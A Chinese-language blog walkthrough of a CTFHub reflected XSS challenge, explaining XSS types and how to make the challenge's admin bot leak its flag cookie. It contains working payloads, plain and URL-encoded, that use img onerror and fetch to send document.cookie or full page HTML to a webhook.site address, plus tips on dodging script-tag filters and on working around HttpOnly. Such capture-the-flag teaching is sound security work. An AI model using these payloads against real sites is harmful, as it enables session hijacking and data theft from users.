CTFHub XSS反射型实战攻略

CTFHub 反射型 XSS 实战攻略(博客版)

题目类型:反射型 XSS(Reflected XSS)

目标:让题目的 Bot(模拟管理员)访问带 XSS 的链接,把它 Cookie 里的 flag 外带到你能看到的地方

整理时间:2026-08-12

先说清楚这道题在干嘛。它不像 SQL 注入那样直接炸数据库,而是"借别人的浏览器执行一段 JS"。flag 不在页面里、也不在你自己的 Cookie 里,它在题目 Bot 的 Cookie 里。你能做的,是构造一个链接让 Bot 点开,Bot 的浏览器替你跑一段脚本,把它的 Cookie 发到你的接收服务器,然后你去接收服务器上看。下面先把原理铺开,再走流程。


一、先把概念立住:反射型 XSS 到底是个啥

1.1 XSS 三兄弟

XSS(Cross-Site Scripting,跨站脚本)的本质就一句:往网页里塞进一段恶意脚本,让这段脚本在别人的浏览器里执行。按 payload 怎么进页面,分三类:

  • 反射型:你提交的数据(通常在 URL 参数里)被服务器原样"反射"回当前响应页面,不存储。必须诱导受害者自己点开那个带 payload 的链接才会触发。
  • 存储型:payload 被存进数据库(留言、评论、昵称),之后任何访问该页面的用户都会中招。一次注入、持续生效,危害最大。
  • DOM 型 :payload 压根不经过服务器处理,是前端 JS 自己把 location.hashdocument.URL 之类拼进 DOM 时出的问题。

这道题是反射型 :你的 name 参数被服务器回显到页面,你访问 ?name=<script>... 时那段脚本就出现在返回的 HTML 里。

1.2 为什么叫"反射"

你输什么,服务器就把什么原样"弹"回页面给你,像镜子反射一样,不落库。所以反射型有两个硬约束:第一,payload 在 URL 里,谁点这个 URL 谁中招;第二,它不持久,Bot 点一次只触发一次。

正常你想偷自己浏览器的 Cookie,按 F12 看 Application 就行了,用不着 XSS。这题的关键矛盾是:flag 在 Bot 的 Cookie 里,不在你的 Cookie 里

题目模拟的是"管理员 Bot":它带着含 flag 的会话 Cookie 去访问页面。你自己的访问,服务器给你的 Cookie 里没有 flag。所以你没法直接看,只能想办法让 Bot 的浏览器替你把它的 Cookie 发出来------这就是 XSS 的价值:脚本是在 Bot 的浏览器上下文里跑的,document.cookie 读到的就是 Bot 的 Cookie。

1.4 数据外带(OOB)的基本思路

脚本在 Bot 浏览器里跑,结果不会显示在你的屏幕上。要让数据到你手里,得把它发到一个你控制的外部服务器 (带外通信,Out-Of-Band)。webhook.site 就是个临时收件箱:它给你一个专属 URL,任何发往这个 URL 的 HTTP 请求都会显示在那个网页上。所以我们让 Bot 的脚本把 Cookie 拼进请求发到 webhook.site,再去网页上看。


二、解题全流程

2.1 确认靶场在线

拿到题目 URL,形如:

复制代码
http://challenge-xxxxx.sandbox.ctfhub.com:10800

能打开就说明靶场活着。

2.2 先验证漏洞:alert(1)

浏览器直接访问:

复制代码
http://靶场URL/?name=<script>alert(1)</script>

如果页面弹出 1,说明你输入的内容被原样塞进 HTML 并执行了,XSS 成立。这步只是验证"能注入",后面换成真正外带 Cookie 的 payload。

2.3 准备接收端

打开 https://webhook.site,它会给你一个专属 URL:

复制代码
https://webhook.site/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx

别关这个页面。后面 Bot 触发 XSS 后,请求会出现在这里,需要回来刷新看。

2.4 构造攻击 payload

最稳的外带公式:

复制代码
靶场URL/?name=<img src=x onerror="location='https://webhook.site/你的ID?c='+document.cookie">

拆开看这段 JS 在干啥:

  • <img src=x> 故意给一个不存在的图片地址,x 不是合法图片,加载必然失败。
  • onerror="..." 图片加载失败时触发,里面是要执行的 JS。
  • location='https://webhook.site/你的ID?c='+document.cookie 让 Bot 的浏览器跳转到你的 webhook,并把 document.cookie(Bot 的 Cookie)拼到 ?c= 后面。

2.5 URL 编码(最容易翻车的一步)

把上面那段 payload 里的特殊字符全部做 URL 编码,最终粘进「Send URL to Bot」的是编码后的样子:

复制代码
?name=%3Cimg%20src%3Dx%20onerror%3D%22location%3D%27https%3A%2F%2Fwebhook.site%2Fxxx%3Fc%3D%27%2Bdocument.cookie%22%3E

编码不是形式主义,下面第三节专门讲为什么。先记住:只要 payload 带 HTML 标签或引号,就必须编码,编码工具用 https://www.urlencoder.org/。

2.6 发给 Bot

  1. 把编码后的完整 URL 填进「Send URL to Bot」输入框。
  2. Send
  3. 页面显示 Successfully ------注意,这只代表 URL 已经提交进 Bot 队列,不代表 XSS 执行成功了。如果 webhook 没收到,问题在 payload 本身,不是没点到。

2.7 收 flag

回到 webhook.site,刷新收件箱,找到 Bot 发来的 GET 请求,在 Query strings 里看 c 参数:

复制代码
c = flag=ctfhub{xxxxxxxxxxxxxxxxxxxxxxxx}

三、原理深挖

3.1 为什么用 <img onerror> 而不是 <script>

"script 执行太早、Cookie 还没设置",这个说法其实不准。在 Bot 场景里,flag Cookie 是 Bot 登录时就设好的,比访问你的链接早得多------所以不管 script 还是 img onerror,跑起来的时候 Cookie 都已经在位了。真正的可靠原因有三条:

  1. 绕过过滤器<script> 是最容易被拦的模式。很多基础的 XSS 防护、WAF、 sanitizer 第一刀就砍 <script> 标签。而 <img onerror> 用的是 HTML 标签里的事件处理属性,属于另一类注入点,naive 过滤器常常只堵 script 不堵事件处理器。
  2. 触发稳定src=x 注定加载失败,onerror 在元素一解析完就立刻触发,时机非常确定。
  3. 外带方式稳 :用 location= 直接跳转到 webhook,比 fetch 省事------不用管 CORS、不用管混合内容、在某些 CSP 限制下也更难被拦。

所以选 <img onerror> 不是因为"早不早",是因为它更不容易被过滤、触发更稳、外带更简单。

3.2 location 外带 vs fetch 外带

  • location 跳转(上面用的):最省事,把数据塞进跳转目标的 URL 查询参数里,webhook 收到一个 GET 请求就能看到。缺点是 Bot 会真的跳走(不过 CTF 里无所谓)。
  • fetch 外带fetch('https://webhook.site/xxx?html='+encodeURIComponent(document.documentElement.innerHTML)),适合不想跳转、或者要发很长的正文(比如整页 HTML)的场景。代价是要考虑 CORS 和 CSP。

短数据(Cookie)用 location 最干净;长数据(整页源码)用 fetch + encodeURIComponent。

3.3 URL 编码到底在防什么

很多人把编码当仪式,其实它防的是两类字符在 URL 解析时被"误读":

  • &(必须编码成 %26 :在 URL 里 & 是参数分隔符。你的 payload 里一旦有裸 &(比如后面追加 &u= 带当前 URL 时),Bot 的 URL 解析器会把 payload 切成好几段,name 参数直接被截断,JS 全碎。这是头号杀手。
  • +(必须编码成 %2B :URL 里 + 会被解码成空格。你的 JS 里用 + 做字符串拼接('...?c='+document.cookie),如果裸着发,服务器把 + 变成空格,JS 变成 location='...?c=' document.cookie,语法直接报错。所以 + 必编码。
  • < > " ' = 空格:这几个本身不破坏 URL 解析,但编码了能避免回显到 HTML 时的各种边界情况,也防中间代理/WAF 顺手改坏。属于"编了更稳"的保险项。

一句话:&+ 是真正会拧断 payload 的,<>"'= 空格是编码了更稳。编码一层就够了,别套多层------服务器和浏览器只会解码一次,套多了反而对不上。

3.4 如果 document.cookie 读不到怎么办

这里有个坑:document.cookie 只能读到没有 HttpOnly 标记 的 Cookie。如果题目把 flag Cookie 设了 HttpOnly(JS 读不到,只有浏览器发请求时自动带),那 document.cookie 会返回空。这题能读到,说明 flag Cookie 没上 HttpOnly。

万一真遇到 HttpOnly,cookie 外带这条路就断了,得换思路:既然 JS 读不到 Cookie,但可以操作页面,那就让 Bot 用它的身份去发请求(比如用 fetch 以 Bot 的身份访问某个内部接口,再把返回内容外带),或者读 document.documentElement.innerHTML 找页面里泄露的信息。CTFHub 这题不需要,但真实渗透里这是常见拐点。


四、实战中什么时候该想到这套打法

按信号强弱分三档:

  • 最强信号:题目明说"get the bot's cookie""XSS""Send URL to Bot"。→ 反射型 + webhook 外带,照流程走。
  • 中等信号 :你发现某个参数(搜索框、?name=?q=?id=)输入什么,页面就原样显示什么,且显示位置在 HTML 标签之间。→ 先试 <script>alert(1)</script>,弹窗就确认可注入。
  • 场景信号(真实渗透) :要偷登录用户 Cookie 用存储型更狠(一次注入持久生效);反射型得钓鱼诱导点链接,单次性;DOM 型去看前端 JS 怎么处理 location.hash 之类。CTF 里用 Bot 代替"被钓鱼的受害者",省掉社工环节。

核心判断:只要"用户输入被回显进 HTML"且"flag/目标在另一个身份的浏览器里",就往 XSS 外带方向想。


五、常见失败排查

现象 原因 解决
webhook 完全没请求 payload 没编码,XSS 没执行 先完整 URL 编码再发
收到请求但 cookie 为空 用了 <script> 被过滤,或 Cookie 是 HttpOnly <img onerror>,确认 Cookie 非 HttpOnly
收到请求但参数断裂 &+ 没编码,payload 被截断 重点编码 &%26+%2B
显示 Successfully 但 webhook 空 只代表提交成功,XSS 实际没跑起来 检查 payload 完整性和编码
换 XSS 平台收不到 平台域名被墙或过滤 改用 webhook.site

六、核心要点速记

  1. 反射型 = payload 在 URL、不存储、需诱导触发;Bot 代替被钓鱼的受害者。
  2. flag 在 Bot 的 Cookie 里,得借 Bot 的浏览器外带,不是看自己的。
  3. 最稳公式:<img src=x onerror="location='webhook?c='+document.cookie">,靠事件处理器绕过 script 过滤。
  4. URL 编码必做,&+ 是真杀手,其余编码了更稳,只编一层。
  5. document.cookie 读不到就查 HttpOnly,必要时改用 fetch 以 Bot 身份打内部接口。

七、参考 Payload 合集

外带 Cookie(最常用)

复制代码
?name=%3Cimg%20src%3Dx%20onerror%3D%22location%3D%27https%3A%2F%2Fwebhook.site%2Fxxx%3Fc%3D%27%2Bdocument.cookie%22%3E
复制代码
?name=%3Cimg%20src%3Dx%20onerror%3D%22location%3D%27https%3A%2F%2Fwebhook.site%2Fxxx%3Fc%3D%27%2Bdocument.cookie%2B%27%26u%3D%27%2Blocation.href%22%3E

外带完整页面 HTML(用 fetch,长数据必须 encodeURIComponent)

复制代码
?name=%3Cimg%20src%3Dx%20onerror%3D%22fetch%28%27https%3A%2F%2Fwebhook.site%2Fxxx%3Fhtml%3D%27%2BencodeURIComponent%28document.documentElement.innerHTML%29%29%22%3E
相关推荐
web像素之境1 小时前
前端工程化梳理
前端
小林ixn1 小时前
全栈项目实战:前端独立开发,不再傻等后端接口
前端·javascript·react.js
李剑一1 小时前
Anthropic将在AI生成文本中嵌入水印!难道是用我之前写的这个技术?
前端·aigc·ai编程
Asize1 小时前
前端接口工程:axios + mock,前端不再傻等后端
前端·javascript
结网的兔子1 小时前
【前端开发】UniApp 项目地图选型与Web-APP跨端迁移方案
前端·uni-app
Canace1 小时前
给 Claude 一个链接,它真的读了原文吗
前端·人工智能·ai编程
爱丶不疚1 小时前
Electron net 模块你可以没用过,但不能不知道
前端·electron
cidy_981 小时前
React + Ant Design 通用企业数据统计模块实战
前端
渣波1 小时前
React 性能优化与状态管理双雄:useMemo 与 useReducer 深度解析
前端·javascript